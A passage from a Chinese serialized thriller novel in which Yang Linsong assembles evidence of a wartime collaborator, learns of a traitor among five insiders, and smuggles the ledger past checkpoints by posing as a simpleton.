“大炮叔,开柜子。”
王大炮就等这句话了。
他大步跨过去,从腰带上拽下钥匙,对准那把挂在铁皮门上的铜锁。
咔嗒一声,脆生生的。
铁门拉开,王大炮一把将那个油布包袱扯了出来,啪的一声重重拍在杨林松面前的办公桌上。
杨林松一抬手,将外层的破油布扯开。
那沓物资明细账册,明晃晃暴露在众人眼皮底下。
老人眼角的褶子猛抽了一下。
他死盯着那沓账册,身子一点一点往前倾,原本平稳的呼吸变得急促。
过了几秒。
老头眼里的那股子提防和试探没了。
脸上的肌肉耷拉下来,肩膀一塌,整个人又缩回了先前那副干瘪模样。
“你小子……真是把你爹没走完的路,给蹚到底了。”
老人叹了口气,嗓音哑得厉害。
他没再端着手,哆嗦着去解上衣扣子。
手直接掏进了大衣里头的棉袄,手指伸进贴身夹缝里,摸了半天,掏出一个用油纸裹了三层的扁包。
油纸发脆,一碰就掉渣。
一层一层剥开。
三页泛黄的纸露了出来。
折痕极深,深到纸面沿着那道印子快要断开。
纸边磨出了**茬,角上蹭出一片陈年油渍。
“九年了,我一
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直放在身上,不敢拿出来,也一刻不敢离身啊。”老人站起身,叹了一口长气。
杨林松一把抽了过来。
对着窗外射进的光,一行一行往下看。
张金山的笔迹。
一笔一画写得很重,是攥紧了拳头刻上去的。
编号、箱内物品描述、关键人物的行踪和行为……
每一条,都跟他刚到手的那份明细严丝合缝地对上了。
杨林松把三页残纸和明细并排摊在办公桌上。
周铁山凑过来,王大炮凑过来。
沈雨溪眼珠子死死钉在那两摞纸上。
明细右下角的签收人一栏里,签着一个刺眼的名字。
郑鸿运。
三十一年。
从冻土底下刨出来的,从白骨缝里扒出来的,从这老头贴身棉袄里焐了九年的东西,在这张破桌子上合成了一根绳。
绳的那头,就是郑鸿运的脖子。
周铁山一拳砸在桌角,搪瓷茶缸蹦起来,水泼了半桌。
他眼眶通红,后槽牙咬得嘎嘣响。
王大炮双手撑着桌沿,十根指头嵌进木头纹理里,喉咙里闷响了一声。
沈雨溪一只手死死捂着嘴,另一只手按在门框上,手指抖得止不住。
杨林松的目光从纸上挪开。
冷冷地落在椅子上的老人身上。
“物证对上了,现在说说你自己。”
声音冷冽。
老人坐回椅子上,两手搁在膝盖边,满是老茧的手背上青筋一跳一跳。
沉默了五秒,开口。
“我当年也在协力者队伍里,不过……用的是假名。日本人不知道我是谁。”
他停了一下,咽了口干沫。
“但有一个人,认得我这张脸。”
杨林松接话,声音无波澜。
“郑鸿运。”
老人点了点头。
“**我的真名,但他认得我。”
他眼眶红了,嗓子哑得快出不来音。
“三十多年了。我换过四个名字,搬过六个地方。户口本换了一摞,连走路的姿势都改过。”
他抬起头,浑浊的老眼里不是怕,是那种在刀尖上滚了半辈子、随时可能掉脑袋的疲惫。
“但只要他还活着一天,我就不能用真面目走在太阳底下。”
屋子里,只剩炉膛里柴火烧裂的声音。
杨林松站在灯底下,没吭声,手指缓缓摸上了怀里那本日记的封皮。
三十一年的烂账,终于翻到底了。
第157章 五个人,谁是内鬼?
办公室内,炉膛里劈啪作响。
杨林松把那三页纸和物资明细扣在一起。
字迹、编号、暗记,严丝合缝。
郑鸿运当汉奸的铁证,这下彻底钉**。
他手腕一翻,把账册和残纸卷好,揣进怀里,目光投向坐在木椅上的老头。
“既然当年是奉命扎进汉奸堆里的钉子,”
杨林松居高临下,“新中国都成立这么些年了,你反倒跟条见不得光的孤魂野鬼一样,都不敢以真名认组织?”
刘德厚搓了把脸,迎上杨林松的视线。
“四三年那会儿,我奉命混进汉奸队伍。”
“任务就俩,摸清小鬼子的物资线,记下所有协力者的名单。我在这腌臜堆里滚了两年,记下了一本烂账。”
他嗓子沙哑,干咽了一口,眼眶开始泛红。
“四五年初,鬼子大扫荡。我唯一的单线联络人,在突围时被**打**。记录我身份的那份绝密档案,也跟着一把火烧成了灰。”
刘德厚双手在膝盖上摊开,手背青筋暴凸。
“从那时候起,我就成了组织名册里不存在的**。万般苦,众生渡,可天下再没第二个人能证明我是谁!”
王大炮皱紧了眉头,两步跨上前。
“不对!”他粗着嗓子质问,“你是抗联的功臣,就算档案烧了、上线**,战后你咋不找组织归队?凭啥非要改名换姓,在泥坑里当黑户躲三十年?”
周铁山双手抱胸,大拇指压着腰间皮套:“大炮说得对。费点周折总能核实,不至于像耗子一样躲大半辈子。”
刘德厚抬头,手指抠住木椅边缘,两只眼珠子通红。
“我躲了九年不敢露头!根本不是因为我是个黑户!”
低吼从他喉咙里挤出来。
“是因为……一九六七年,杨卫国死得蹊跷!”
屋里一下子静下来。
王大炮偏过头,周铁山满脸惊讶,沈雨溪咬住了下嘴唇。
刘德厚喘着粗气。
“一九六七年,杨卫国悄摸回了黑瞎子岭,暗中重查当年的物资下落。他在老林子里联络的第一个人,就是我。”
他抬起手,指向杨林松的胸口。
“碰头的时候,老杨亲手把那三页纸交给了我。也就是你刚揣进兜里的那些。”
刘德厚眼里的血丝更密了,强忍着没掉眼泪。
“可碰面不到一个月,枪林弹雨里蹚出来的杨卫国,就在山外头被所谓的苏修敌特给伏击了。”
王大炮一拳砸在桌角。
“放屁!”他怒目圆瞪,“老杨当年在朝鲜战场,带的是尖刀排!**堆里爬进爬出,走路连狗都听不见响!咋能轻易让人摸着道给算计了!”
刘德厚站起身,椅子腿划出尖响。
“这就是最要命的地方!”他大声说,“杨卫国那次回来很隐蔽,当年知道他进山查秘密的……”
他伸出五根手指,悬在半空。
“算上我这把老骨头,满打满算,不超过五个!”
吼完这句,刘德厚跌回硬木椅里。
“就五个人啊!”他捂着脸,“老杨还是**!是被人走漏了风声。”
他抹了把脸,眼睛从王大炮、周铁山和杨林松脸上依次扫过。
“说明那五个人里,出了内鬼!老杨当年往上递情报的那条线,从根子上就烂透了啊!”
他指着杨林松,声嘶力竭:“当年我手里要是捏着这三页纸,去走那条线汇报,我就是赶着去投胎!不光扳不倒姓郑的,连我自己也得被挫骨扬灰!”
周铁山退了半步,头皮一阵发麻。
王大炮脸色铁青,脊梁骨往外直冒凉气。
情报通道出了内鬼,这绝不是在黑瞎子岭里打几个胡子那么简单了。
这是捅透了天的一张死亡大网!
杨林松斜靠在桌沿边,半个字没说。
等刘德厚的喘息平复下来,杨林松挺直腰板,大步上前。
他在刘德厚面前停下,问了一个最关键的问题:
“那五个人的名字。你现在,还能写出来吗?”
刘德厚深吸了一口气,胸膛一挺:“给我纸笔!”
沈雨溪立马从抽屉里拿出纸笔递
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了过去。
刘德厚的手抖得厉害,攥着铅笔头在纸上写下五个名字。
每一笔都恨不得把纸戳穿,铅芯都快被他掰折了。
杨林松拿过纸条打开,目光跟着从上往下扫。
看前四个名字时他面无表情,当视线扫到第五个名字时却突然停住了,他捏着纸条的手指不自觉收紧,纸张被折出一道褶皱。
可他没念出来,连脸上肌肉都没抽动。
他迅速把纸条折好,揣进贴身内兜。
“从现在起,你就算尿急,也得给我憋在这大队部的院子里。”
杨林松半眯着眼盯着刘德厚,下了命令,“后院给你腾个暖铺子,一天三顿供吃供喝。郑家的王八蛋没死绝之前,你这把老骨头,我保了!”
周铁山和王大炮一言不发,转身出去重新布防和安排守卫工作。
杨林松大步走到后门,一把拉开。
走出门,他踏在雪地里,抬头看着天空。
身后传来轻微的咯吱声。
沈雨溪跟了出来。
她停在他身后两步远的地方,呼吸压得很轻。
“最后那个……第五个名字。”沈雨溪小声试探,“你是不是认识?”
杨林松没回头,目光越过院墙,凝视着远处的黑瞎子岭。
“你之前寄给你父亲那封信。”杨林松问,“有回信的动静了吗?”
沈雨溪愣了一下:“还没,回信走的是军工系统内部军邮,按理得等几天。”
“太慢了。”杨林松语气硬邦邦的,“去县里想办法拍加密电报,动用你父亲在军工系统的老关系,查一个人。”
沈雨溪上前一步:“查什么?”
“查这人一九六七年前后的行程和出差记录。我要知道那一年,他到底来没来过东北,是不是沾过这边的地皮!”
沈雨溪屏住呼吸,又问:“查谁?”
杨林松转过身,盯着沈雨溪的眼睛,吐出了那个名字。
那个他们两人都熟悉的名字。
沈雨溪瞪圆眼睛,冷风灌进嗓子眼,整个人僵在了满院子的残雪里。
第158章 他的嘴巴没手长
天头彻底黑透了,穿堂风刮得跟鬼嚎似的。
沈雨溪杵在院里,足足愣了半分钟。
等她回过神来,杨林松已经进了屋。
“阿三。”
阿三凑上前。
“去村口、村道、后山小路溜达一圈,把大炮叔和周叔都叫回来。”
“得嘞。”阿三应了声,一头扎进黑灯瞎火里。
不到一刻钟,人齐了。
周铁山裹着一身冷风卷进屋,王大炮紧跟在后头,鼻尖冻得通红。
老刘头蹲到墙根底下,黑皮顺势靠住门框。
沈雨溪最后踩着碎步进来,嘴唇抿得发白。
刘德厚缩在角落里,捧着个搪瓷缸子。
杨林松撂下门闩,走到桌前,从怀里把底牌一件一件往外亮。
物资送货明细摆中间,三页残纸摊左边,沈雨溪抄下来的物资清单压右边。
灯泡光打下来,泛黄纸面上的字迹影影绰绰。
杨林松的手指叩在那份明细上,砰砰敲了两下。
“这上头白纸黑字挂着郑鸿运的名,定他的死罪,铁证如山。”
“但这几丈催命帖,必须得全须全尾送到一个郑家脏手伸不进的地方,才算掷地有声。”
他手指一抬,悬在桌面上方,“关键是,咋送出去?”
屋里鸦雀无声,炉膛里的干柴塌了半截,炸出一串火星子。
沈雨溪先掐断了话头。
“京城军工系统那边,有硬关系的话,兴许有人接手。”
她压下嗓音,“但这案子干系太大,是捅破天的事儿,原件必须亲手递到位。”
“走村里的邮路不行,托人转手更不行,只要脱一次手,半道上就可能被连皮带骨地截掉。”
她缓了口气,手指点在明细边缘。
“这东西离开咱们这扇门,就必须稳稳当当落进能拍板定案的那个大领导桌上,绝不能过二道贩子的手。”
周铁山铁青着脸,食指在桌面上虚画了一条线,从左到右划过。
“从红星大队到最近的县火车站,两百多里地。”
手指顿了三下。
“县城检查站,一道。公社路口,一道。火车站安保哨,又是一道。”
他抬起头,嗓音沉得发闷,“这三道卡子,眼下全成了郑家能做局的地盘。大摇大摆走官道,那**就是把肉包子往狗嘴里塞!”
老刘头把烟袋锅子往鞋底帮上磕了磕,死灰扑簌簌掉了一地。
“走野路子成不?”他眯起眼,“钻老林子,抄近道去隔壁县扒火车,把所有的哨卡全绕过去。”
这话说出来没两秒,老刘头自个儿先摇了头。
“腊月天,大兴安岭里头零下三四十度的**炮,一百多里没脚印的野地,单凭两只脚蹚过去……”
话没说完。
王大炮闷声接了茬:“冻死饿死还算轻的,遇上大瞎子或者迷在冰沟里,连块骨头茬子都捞不着。”
气氛坠进了冰窟窿。
沈雨溪死死攥着手里的半截铅笔。
周铁山双手撑在桌沿上,肩膀快要把棉袄撑破。
刘德厚僵在角落里,搪瓷缸子里的水纹丝不动。
啪!
杨林松猛地一巴掌拍在办公桌上,搪瓷缸子跟着蹦了个高,温水溅出来差点打湿纸页。
“我亲自送。”
所有人齐刷刷盯着他的脸。
“不走野地,不钻老林子。”
杨林松手臂一伸,食指直指窗外的黑暗。
“我就背着一篓子山货,堂堂正正从小道上、哨卡前跨过去。”
王大炮急得嘴里的半截烟卷掉在地上。
“你小子疯魔了?!”他猛拍着大腿蹦起来,“明知山有虎还偏向虎山行?一个人往那三道要命的卡子里钻?!”
周铁山两步跨到桌案前,两道浓眉倒立。
“你还想去装疯卖傻?”
他手指头差点戳到杨林松鼻梁上,嗓门很大。
“今儿一早姓郑的带人闯院子,当着那么多人的面把你不傻的底细都给点破了!你的老底都让人掏了!这不叫运筹,这叫送死!”
杨林松连睫毛都没眨一下,纹丝未退。
他迎着周铁山急红的眼,突然笑了。
“郑少华看出来了,不假。”
“但他底下那群在雪窠子里守卡的喽啰,未必领会得那么透亮。”
周铁山一怔。
杨林松竖起两根手指,一根指天,一根指地。
“他郑家的手确实够长,能从省城一直伸到咱们这穷乡僻壤。”
他五指骤然收拢攥成重拳。
“可他的嘴,长得过他的手吗?”
满屋子的人都被震糊涂了,没人接话。
杨林松往前迈了半步。
“郑少华拉来的那帮便衣,说白了就是拿粮票和工资干活的马前卒,他们知道来这儿是抓人,是来抢东西的。”
“但到了这个时候,郑少华敢跟手底下的走狗兜底?敢大咧咧地说:听着,你们盯的那个傻子不但不傻,还攥着能把老子祖坟刨了的证据?”
杨林松冷笑一声。
“借他十个胆子,他也不敢放这个响屁。”
“一旦这口风露出去,就是承认他堂堂省革委会副主任的公子,要为了见不得光的事,对一个烈士遗孤下死手。”
“底下办事的谁是真傻子?立马就会在心里犯嘀咕,帮着干这种昧良心的绝户活儿,哪天会不会被一脚踢开顶罪?”
“更何况,真正在路上守卡子的多半是公社武装部和县里的基层干事,根本不是他郑家能随便拿捏的。他郑少华能交代下去的,顶天了也就是一句,给我把那个姓杨的看牢了。”
杨林松反手指了指自己的脸廓。
“那在这帮底层的办事员眼里,我杨林松是个啥货色?”
他竖起一根手指。
“一个天生神力、脑子缺根弦、常年靠打点野物去收购站换烂地瓜的烈士遗孤,十里八乡叫得出名号的二流子加憨货。”
第二根手指紧接着立起。
“上头吩咐盯紧他。那这帮在寒风里冻得直跺脚的兵痞,瞧见一个满身狍子骚味、背着破竹篓的傻子在眼皮子底下晃悠,是会如临大敌地把他按进雪窝子里搜个底朝天?还是皱着眉头捂着鼻子,嫌晦气地挥手放行?”
这几句话直击要害。
周铁山嘴巴微张,彻底被这一堆话给震住了。
王大炮薅起桌上的茶缸猛灌了一口凉白开,拧紧的眉头劈开一道亮光。
杨林松这一招信息差降维打击,就是把破冰的铁镐,生生砸穿了所有人的盲区。
是啊,他郑家的手确实长。
但这嘴巴的忌惮,注定跟不上手蔓延的野心。
角落里传来哐的一声轻响。
搪瓷缸子被顿在了木板凳边上。
这白发老头双手撑着膝盖起身,拔直了腰。
他走到桌前,死死盯在杨林松脸上。
足足五秒,然后重重点了一下头。
“你爹当年……要是能有你这份扮猪吃虎的憨劲儿,有你这忍辱负重的城府……可能,也就不用白白送了命。”
周铁山紧攥着桌沿的手慢慢松开了。
王大炮嘴唇动了两下,把涌到嗓子眼里的全部顾虑咽回了肚子里。
杨林松没给任何人说话的机会,果断下达指令。
“周叔。”
周铁山抬头。
“你坐镇大队部,走暗线
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联络赵卫东,外围只要有一点风吹草动,立马走你那边的关系拍电报预警。”
“大炮叔。”
王大炮腰板一挺:“说!”
“把村里的青壮民兵重新整编一遍,三班倒轮值。郑家那帮王八羔子要是狗急跳墙再来找茬,只要不硬闯,你给我死守别开火。”
“老刘头,黑皮。”
老刘头和黑皮精神一振,齐齐挺直了腰板。
“明天赶早集,去鬼市大面积放风。就放出话去,说我接了大单进深山老林打猎去了,口水传得越广越好!我要让郑家在山头瞎折腾,把他们布置在官道上的暗桩全忽悠到林子里去。”
“阿三。”杨林松转过头。
阿三站正:“在呢,杨爷!”
“你想办法掩护沈知青去县里,找条稳妥的路子拍加密电报,动用她父亲在军工系统的老底子,去查死那个人六七年的出差留底。”
布置妥当,他的目光落在了刘德厚身上。
刘德厚胸膛一鼓,那架势分明想说,老头子我也跟大侄子去蹚这趟浑水。
杨林松抬起手,指头抵在老头胸口。
“你,给我老实巴交地在这后院的暖炕上猫着。”
“你这口喘气的嗓子,眼下比什么死证据都金贵。证据被水泡了、火烧了,大不了再找。可你要是折在半道上,这全天下就真没一张长着肉的活嘴,能替我爹洗刷了!”
刘德厚张了张嘴,老泪在眼眶里打转。
最终紧紧闭上,一屁股塌回凳子上。
------
夜深露重。
大队部里的人散了,巡查的去巡查,站岗的去站岗。
杨林松独自回到自己那间土坯房。
炉膛里添上两根松木劈柴,屋里总算有了点暖意。
他单膝半蹲在炕沿边,伸手从房梁上摘下一大串狍子肉干,又从墙角的破麻袋里掏出几捧野松子。
把平日里嚼的冷荞麦硬饼子全部塞进包袱。
刚整理得当。
两长一短,笃笃笃。
开门,是沈雨溪。
她的手里攥着一个粗布卷。
反手关上木门,快步走到炕边。
粗布卷在炕席上展开。
是一条用的确良边角料双层缝制的贴身长布袋,两端留着结实的细麻绳,能紧贴着肚皮绑在腰上。
“赶工缝出来的。”
她声音很轻,透着微甜的皂角香。
“鸡蛋不能放在一个篮子里。证据拆成两份,散页藏别处,账本贴身绑这儿。”
杨林松伸出手掌,接过布袋。
交接的刹那,他的指节不经意间碰上了她的指尖。
冰凉。
他没有立刻缩回手。
她也没跟触电似的躲开。
就这么隔着布料,两人的手指交叠着,静静停了两秒。
杨林松长舒一口气,低下头,将账本埋进布袋。
随后掀起大衣,将带子死死缠在精壮的腰杆上。
贴着温热的肌肤,布袋也一点点热乎起来。
破竹背篓倚在门边,那把紫杉木大弓斜挂在篓口。
沈雨溪站在炉火旁,安安静静地看着他。
“林松……保重。”
千言万语,只化作四个发颤的字。
“嗯。”
杨林松系拢大衣扣子,顺势将那枚熊爪牙往领口深处塞了塞。
收拾妥当,他单手拎起背篓,往肩上一挑。
沈雨溪站在他身后半步,没有泪水,没有阻拦,只用目光追随着那个挺拔的背影。
杨林松一把拉开木门。
外头的寒风收了势头,露出半天稀稀落落的冷清星子。
他跨过门槛,军靴沉稳地踩在冻得邦硬的雪面上。
第159章 一封信炸开了天
军靴踩在雪壳子上嘎吱作响,一步踩出一个深坑。
杨林松背着破竹篓,那把紫杉木大弓斜挂在篓口,大衣领子往上一立,大半个脸都捂在里头。
天还黑蒙蒙的,东边刚泛起一点白碴子。
风停了,可干冷的劲儿直往骨头缝里钻,呼口气立马成了白烟。
走出去差不多五里地,前面岔道口传来突突突的响声。
一辆东方红拖拉机冒着黑烟拐了出来,车斗里全是冬储大白菜,拿草席子裹着,没全部裹住。
开车的是个裹着破羊皮袄的老农,旁边还挤着两个搓手的社员。
杨林松扫了一眼就认出来了,隔壁村的王拴柱,冬天专给县粮站拉大白菜。
杨林松立马把挺直的后背往下垮了垮,眼神一散,咧开嘴傻乐起来:“嘿嘿。”
他颠儿颠儿地跑过去追车,冲着王拴柱瞎比画,一手指着县城那边,一手往嘴里猛抓,装出一副馋鬼样。
王拴柱回头看见他,乐了:
“哟,杨家村那傻小子!大冷天往县城跑啥?又馋糖块了?”
杨林松光顾着嘿嘿笑,脑袋点得跟捣蒜似的。
王拴柱摆摆手:“上来吧!赶紧往白菜缝里钻,别把公家的大白菜给压坏了!”
杨林松手脚并用翻进车斗,往白菜垛子中间一缩,只露出半个脑袋。
不出二里地,拖拉机开到了公社路口。
一根横杆拦在路中间。
三个戴红袖章的干事正缩在背风处的土坎底下直跺脚。
带头的那个冻得鼻子通红,见车来,不耐烦地走过来拍车帮子。
“路条呢?今天上头有交代,严查红星大队出来的!那边有人去大院**,连省里来的郑组长都惊动了,谁也别想混!”
王拴柱赶紧掏出单子递过去,陪着笑:“同志,我们是杨柳沟的,给粮站拉白菜,跟红星大队可挨不上边。”
那干事没接茬,眼睛死死盯着车斗深处的一团黑影。
“那缩着的是谁?大衣捂这么严实,别是套皮跑出来的!”
说着,他一脚踩上轮胎,伸手就要去薅杨林松的大衣领子。
指头刚碰到布料。
杨林松猛地一弹,一屁股坐在白菜上,两腿乱蹬,大巴掌死死护着胸口,扯着破锣嗓子干号:
“我的糖!谁抢我糖我咬谁!”
这一折腾,竹篓子跟着翻了。
里头几块风干的破狍子肉、烂松子混着泥巴全滚了出来,正正好好砸在干事脚面上。
一股子腥臊混着烂菜叶子的臭味,直冲脑门。
干事干呕了一嗓子,连退两步,嫌弃地直拍裤腿:
“哎哟我去,真**骚气!哪来的要饭傻子?赶紧滚赶紧滚,别在这儿熏人!”
横杆一抬,拖拉机冒着黑烟又上路了。
车斗里,杨林松闭着眼,后背靠着冰凉的铁皮板子。
贴身绑着账本的布袋硌着他的肚皮,一下一下,跳得平稳。
------
县城这边,供销社后巷。
阿三把吉普车塞进死胡同里熄了火。
沈雨溪套了件毫不起眼的蓝布旧棉袄,揣着知青证明,低头进了邮局。
邮局里没人,柜台后头的大姐正慢吞吞地翻着汇款单。
沈雨溪报了名,大姐从抽屉最底下翻出一封厚实的信。
信皮上没地址,只有军工厂的一溜红戳暗码。
除夕夜写出去的信,她爹回了。
沈雨溪坐到墙角的长条凳上,撕开信封。
她爹的字,还是那么硬朗。
前头扯了两句天冷加衣的家常,第三行话锋陡然一转。
“你提的陈远山,我托人查到底了。当年那场塌方定性是意外,可那不是天灾,是人祸。那个带头定性事故的副队长李国华最有嫌疑,后来被人暗中调回了你们那个省城。他现在不仅改了名,还是省城保卫局的副局长!”
沈雨溪手心里全是冷汗。
难怪七二年后履历全没,原来郑家的手早就伸进这**机关了!
信的最后,笔道极重:“你挑的人,爹信得过。事关重大,那个李国华背后必然是郑家。地方上的邮路不安全,真遇上要命的事,拿我给你的单子,走军工内线拍急电!”
沈雨溪把信塞进
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棉袄贴肉的兜里,大步走到电报台前。
一张盖着军工系统红星印的凭条拍在柜台上。
老柜员一看那印子,眼皮一跳,二话没说推出纸笔。
沈雨溪提笔写下:
“杨携铁证进京,请接应,勿误。”
听着后头机房里滴滴答答的发报声,她悬着的心总算落定了一半。
发出了。
她走出邮局,坐进冷冰冰的吉普车里。
不知道杨林松这会儿走到哪了,但只要他能混上那趟绿皮火车,这事就有门。
------
县委招待所门前的十字路口。
杨林松早从拉菜拖拉机上溜了下来,佝偻着背顺着墙根的阴影,一步步往长途汽车站挪。
离邻县的火车站还有一百多里地,他得赶上那趟过路的长途客车。
街面上气氛明显不对劲。
几个穿着军大衣、脚踩翻毛皮鞋的汉子在路口瞎转悠,眼神到处乱飞。
全是郑少华放出来盯梢的暗桩。
杨林松没抬头,继续装他那副傻不愣登的猎户样。
就在他快要过马路时,招待所的大铁门前突然闹将起来。
“大领导啊!你们行行好,我婆娘是冤枉的啊!”
大伯杨金贵像坨烂泥一样,被两个保卫干事从台阶上扔了下来,在满是黑泥的马路牙子上。
“滚!再闹连你一块儿抓进去蹲笆篱子!”
铁门咣当一声关**。
杨金贵坐在泥水里大哭,他胡乱抹着脸上的泥水,一抬头,眼睛正好对上了街对面那个背着破竹篓的高大身影。
他这当大伯的一眼就认出来了。
那是他最后的救命稻草!
杨金贵啥都不顾了,连滚带爬地往大马路中间扑,破锣嗓子瞬间劈了音,嚎得整条街都听得见:
“林松!林松啊!”
“你大伯娘要被他们**了!你快去救救她啊!”
这一嗓子嚎出来,周围那几个抄着手抽烟的便衣全停了动作。
几道要命的视线齐刷刷盯在了杨林松的后背上,这几个人的手,顺势往军大衣底下的腰带上摸去。
第160章 大伯娘要吃枪子?看我掀桌子!
十字路口,西北风卷着雪沙子,往人脖颈里生扎。
杨林松紧了紧大衣,眼皮子微抬,余光顺着风雪飘飞的方向,扫向街对面。
那是三个穿军大衣、脚蹬翻毛皮鞋的汉子。
一个个抄着手、缩着脖子,站没个站相,满脸横肉透着股街头好勇斗狠的盲流子味儿。
都是生面孔,里头没有郑少华前几日安排在村口的便衣。
杨林松心里头门儿清,这绝逼是郑少华狗急跳墙,花大价钱从外头雇来的暗桩。
这帮拿钱办事的生瓜蛋子,只认名字不认人。打死他们也想不到,自己这会儿已经把要命的铁证全死死绑在肚皮上,就这么大摇大摆地晃到了他们眼皮子底下。
打的就是个信息差!
刚才还绷得跟钢板一样的脊梁骨,瞬间垮成了一滩烂泥。
杨林松猛一缩脖子,两眼里的精光一散,全换成了浑浊的傻气。
哐当!
背上的破竹篓子被他不管不顾地砸进泥水坑里。
紧接着,他手脚并用、连滚带爬地朝街对面瘫在地上的大伯杨金贵扑了过去。
“吃肉!换糖!你个老骗子!”
他扯开破锣嗓子干号,两只沾满黑泥的大巴掌在半空瞎扑腾,眼泪鼻涕直往下甩。
“俺要吃大虾酥!不给糖俺就咬人!”
这一通满地打滚的撒泼耍浑,真傻子看了都得恭恭敬敬叫声祖师爷。
对面刚把手摸向腰后的几个汉子,全被这阵仗吓了一跳。
领头的刀疤脸大步跨过马路,崭新的翻毛皮鞋踩得黑泥水乱溅,一脚重重跺在从竹篓里滚出来的紫杉木大弓上。
“站住!你就是杨柳沟那个傻子杨林松?”
刀疤脸两眼一立,手直接按在后腰别着的铁家伙上。
“把大衣脱了!举起手,老子要搜身!”
杨林松呼吸一滞。大衣底下,可贴肉绑着能把郑家祖坟都掀翻的账本!
这要是脱了,三十一年的血债和红星大队老少爷们的命,今天全得交代在这一声令下。
退?
不能退。
不但不能退,还得往前猛扑!
“嗷!”
杨林松喉咙里滚出一声野兽般的怪叫,张开沾满黑臭烂泥的大巴掌,直挺挺朝刀疤脸撞了上去。
刀疤脸还没回过味来,大腿就被两只铁钳一样的泥手死死抱住。
杨林松把脸上的烂泥、鼻涕,不要命地往那双崭新的翻毛皮鞋上狠蹭。
“俺不娶瘸子丫头!大伯娘心黑!俺不当上门女婿!”
他一边哭嚎,唾沫星子一边喷了刀疤脸一裤腿。
“买糖!没糖块俺就不走!嘿嘿嘿,大兄弟,你这鞋毛茸茸的真好摸!”
这恶心巴拉的做派,把周围几个暗桩看傻了眼。
这他娘就是个饿急眼的要饭智障,哪点像上面交代的极度危险分子?
“滚滚滚!**的,恶心死老子了!”
刀疤脸看着被糟蹋的皮鞋,胃里直泛酸水,一脚重重踹在杨林松肩膀上。
杨林松借着这股劲儿,顺势往后一倒,扑通一声砸进满是煤渣的泥水坑里,黑水又溅了刀疤脸一身。
“跟老子装疯卖傻是吧?”
刀疤脸气急败坏,反手抽出腰带上的短铁棍,直接奔着杨林松的大衣领口挑过来。真要挑开,里头的东西可就漏了底。
杨林松索性在泥水坑里彻底撒了欢,四脚朝天,疯狂打起滚来。
“一百块彩礼!卖俺娶个瘫子!大伯娘偷吃白面,给俺喝馊水啊!”
他边滚边喊,把那点家长里短的腌臜事儿全给抖落得一干二净。
连滚了两圈,他一头扎进泥坑,从底下的破篓子里抠出一块风干发臭的死狍子肉。
外头还糊着半指厚的冰碴子和煤灰。
杨林松眼皮都不眨一下,一把塞进嘴里,翻着白眼嘎巴嘎巴大嚼起来。
那牙碜的动静听得人头皮发麻,黑红色的脏水顺着嘴角往下淌。
过路的人全躲出老远,指指点点。
“造孽哟,大冬天欺负个傻子!”
“为了一百块彩礼把人逼疯了,老杨家真丧良心啊!”
几个暗桩听着这些话,心里这下彻底落了底。
严丝合缝的逼婚烂账,外加地上这个嚼发臭死肉的野人,戒备全消。传言果然没错,那个带弓的活阎王在山里呢,这纯粹是个跑大街上讨饭的憨货。
刀疤脸手里的铁棍顿在了半空。
为了把戏做足,杨林松呲着一口掺着泥沙的牙,从泥水里猛爬起来,抓起另一块滴着黑水的烂肉,乐颠颠地朝刀疤脸脸上怼。
“甜!大兄弟,你尝尝!拿大虾酥换!”
那股子茅坑发酵混着腐尸的恶臭,直冲刀疤脸天灵盖。
“呕!”<
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br>刀疤脸胃酸狂涌,连滚带爬地往后躲。
“赶紧滚!滚远点!真**晦气!撤!快撤回去!”
他捂着鼻子,带着几个手下跟躲瘟神一样,连头都没回,直接溜回了招待所大铁门里。
咣当一声。大铁门上了死锁。
一场搜身死局,就这么用一嘴烂泥破了。
听见铁门落锁的声音,杨林松疯狂咀嚼的腮帮子猛地一停。
“呸!”
他一口吐掉嘴里的石子和烂肉,抬起袖口,胡乱抹了把嘴。
耷拉的眼皮猛然撩起。
哪还有半分痴傻劲儿?那一瞬,眼里只剩下冷冷的肃杀。
他大步流星走向路边还在打哆嗦的杨金贵,一把薅住他的后脖领子,直接拖进了街角的死胡同。
手一松,杨金贵出溜在墙根下。
“林……林松,你刚才……”杨金贵看着侄子那要**的眼神,舌头直打结。
杨林松俯视着他,脊背重新挺得笔直,在老林子里淬炼出的煞气再也压不住了。
“把你那怂样收起来。说,现在到底啥情况?”
杨金贵后槽牙直打架,眼泪狂飙。
“林松啊!你大伯娘……被关在招待所后院禁闭室了!那个省里来的郑组长放了话,说今天天黑之前,要是拿不出证据证明她不是反**,就要直接拉去打靶啊!我的老天爷啊!”
自证清白?拿不出证据就**?
杨林松嗤笑一声。
真**是狗急跳墙了。
郑少华这孙子知道自己底牌漏了,不敢带人进村强抢,就玩这套杀鸡儆猴的把戏。
只要张桂兰今天在县城吃了枪子儿,红星大队立马就会被扣上包庇反**的帽子。到时候大军压境封村,自己这趟进京告状的路,就算是彻底堵**。
破这死局的眼,不在逃命的路上,就在这招待所的大门里头!
杨林松隔着厚大衣,摸了摸贴身绑着的铁证。
想玩莫须有,草菅人命?
他眼底泛起戾气。
行,姓郑的,老子今天就把你的桌子连锅端了!
他低头,死死盯着杨金贵:“在胡同里待着,把嘴闭严实。我去招待所捞你那蠢婆娘。”
话音未落,他转身大步跨出死胡同。
大衣下摆被西北风高高卷起,带着股遇鬼杀鬼的狠劲儿,径直走向那扇紧闭的铁门。
第161章 顶着枪口要彩礼?这疯子惹不起!
杨林松大步流星往招待所大铁门靠。
军用伞兵靴踩碎雪壳子,嘎吱嘎吱响得扎耳朵。
他猛吸了一口带着冰碴子的冷风,眼底那股子肃杀劲儿往深处一藏。
眼皮一耷拉,嘴角往上一咧,立马换上那副冒傻气的轴性子疯子样。
大衣底下,贴肉绑着的账本硬邦邦的,这可是他敢把天捅个窟窿的底气!
大铁门里头。
刀疤脸和其他两个盯梢便衣刚缩回院子,反手就把大铁锁挂死。
“真**倒了八辈子血霉!大清早撞上这么个要饭的傻子,老子刚托人弄的翻毛皮鞋全造报废了!”
刀疤脸啐了口带泥的唾沫,伸手往怀里摸大前门。
火柴刚擦出个火星子,外头就传来黑瞎子尥蹶子似的脚步声。
哐当!
杨林松整个人重重撞在铁栅栏上!
大铁门一阵剧烈晃悠,铁锈簌簌往下掉。
那两只糊满黑泥的大巴掌,死死扒住铁条。
“大伯娘!把我的瘸子媳妇还给我!把我那一百块彩礼钱还给我!”
这一嗓子干号穿透力极强,刀疤脸手一哆嗦,火柴直接灭了。
隔着门缝一瞅,又是那个浑身发馊的傻缺!
刀疤脸气得后槽牙直咬,抽出短铁棍几步跨过去。
当!当!
铁棍砸在栅栏上,火星子四溅。
“滚犊子!再搁这儿嚎丧,老子拉你去局子里吃枪子儿!”
